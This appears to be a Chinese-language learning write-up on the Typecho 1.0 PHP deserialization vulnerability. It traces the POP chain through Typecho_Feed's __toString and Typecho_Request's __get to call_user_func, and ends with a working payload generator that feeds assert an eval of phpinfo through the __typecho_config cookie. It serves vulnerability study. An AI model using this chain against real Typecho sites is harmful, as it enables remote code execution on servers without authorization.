Typecho-反序列化漏洞學習
目錄
- Typecho-反序列化漏洞學習
- 0x00 前言
- 0x01 分析過程
- 0x02 調試
- 0x03 總結
- 0xFF 參考
Typecho-反序列化漏洞學習
0x00 前言
補丁:
https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084f
這裏我下了1.0版本:
git clone https://github.com/typecho/typecho.git --branch v1.0-14.10.10-release
0x01 分析過程
這個漏洞非常有趣。首先是一個可控參數的反序列化表達式。然後構造pop鏈,尋找__destruct方法,然而沒有找到可利用的。但是通過對反序列化後的變量跟蹤發現,有對其當作字符串調用,因此尋找__toString方法。
這個程序一共就只有三個__toString,我自己找的時候只找到一個“類似SQL註入”的點,後來通過利用autoload機制(參考p牛的CSRF到任意代碼執行)將那個類加載進來。後來又通過一頓分析發現,其只是返回一個SELECT語句的字符串,然後我就沒再跟進了,說不定可以構造成一個反射xss(從反序列化到反射xss???)。
然後看了一下大佬的blog,果然大佬就是大佬。在另一處__toString中找到了一個方法調用:$item[..]->screenName。由於$item可控,因此這裏可以使$item[..]為一個沒有screenName屬性的對象,當訪問一個對象沒有的屬性時就會尋找它的__get方法!所以大佬這裏就找了一個存在危險操作的__get方法的類。果然我還是太菜了,滿腦子就只有__destruct和__wakeup。
跟進__get之後,經過一系列的調用,調用了同類下的某個filter方法,然後在裏面進行了call_user_func,兩個參數都可控,至此利用鏈分析完畢。
構建poc後發現頁面返回了500錯誤,我們的phpinfo()並沒有回顯出來。經過調試發現,因為程序對反序列化之後的內容進行處理時拋出了異常,導致報了錯。我們可以將程序提前exit,不經過後面的報錯即可。
0x02 調試
首先看一下訪問到漏洞點的前置條件
這裏會對referer頭做一個校驗,refer中的host值需要與$_SERVER[‘HTTP_HOST‘]的值相等。
下面看一下漏洞點
這裏需要傳入一個finish參數,然後在230行將cookie中的__typecho_config的值通過base64解碼之後反序列化。
跟進其構造方法之後發現,這裏將我們傳來的第一個參數做字符串拼接,如果第一個參數是對象的話,那麽這裏就會調用其__toString()方法。剛好,第一個參數是我們可控的。
通過尋找__toString方法,找到了一個Typecho_Feed類。
在第二張圖中可以看到$item[‘author‘]->screenName
。如果$item[‘author‘]是一個不能存在screenName屬性的類的話,那麽這裏就會調用這個類的__get()魔術方法。剛好,這裏的$item是我們可控的。因此下面就找哪些類沒有screenName屬性,並且__get方法存在危險操作。
最後找到了Typecho_Request類
可以看到$value是可控的。下面跟進一下_applyFilter方法
可以看到,這裏有個call_user_func方法,且$filter和$value都可控。至此這條pop鏈基本是構造完了。
可是構造完payload發現頁面響應500,我們的phpinfo()並沒有回顯出來。經過調試發現,因為程序對反序列化之後的內容進行處理時拋出了異常,導致報了錯。如下。
可以看到這裏首先拋出了一個Typecho_Db_Exception異常,跟進。
可以看到調用了ob_end_clean()清空了緩沖區。接著跟到self::error。
可以看到,這裏配置了一些報錯變量,並在最後輸出到模板中,然後exit退出了程序。
暫時知道有兩種方法來輸出payload的結果:
1)提前exit程序,讓程序不運行到拋出異常處
2)提前將緩沖區內容打印到頁面上
對於1),這裏有兩種實現方法,第一種是seebug作者的方法,通過使程序運行出錯自動exit,還有一種是直接簡單粗暴地將exit放到我們的payload中。
對於2),我本想使用ob_end_flush()之類的方法,但是程序在調用時會傳入一個參數,導致ob_end_flush()執行失敗,因為這個方法是不接受參數的,所以對於第2)個方法,目前沒找到出路。
所以這裏我將exit放到payload中,成功提前退出,回顯了phpinfo。
payload如下
<?php
class Typecho_Feed{
private $_type;
private $_items = array();
public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params = array(
"screenName" => "eval('phpinfo();exit;')",
);
$this->_filter = array("assert");
}
}
$a = new Typecho_Feed();
$c = array(
"adapter" => $a,
"prefix" => "test",
);
echo base64_encode(serialize($c));
0x03 總結
這個漏洞精彩的部分就是通過調用__toString再來調用一層__get魔術方法,可惜自己沒法把這些已有的點聯系起來,還是多學習吧。
0xFF 參考
https://paper.seebug.org/424/
Typecho-反序列化漏洞學習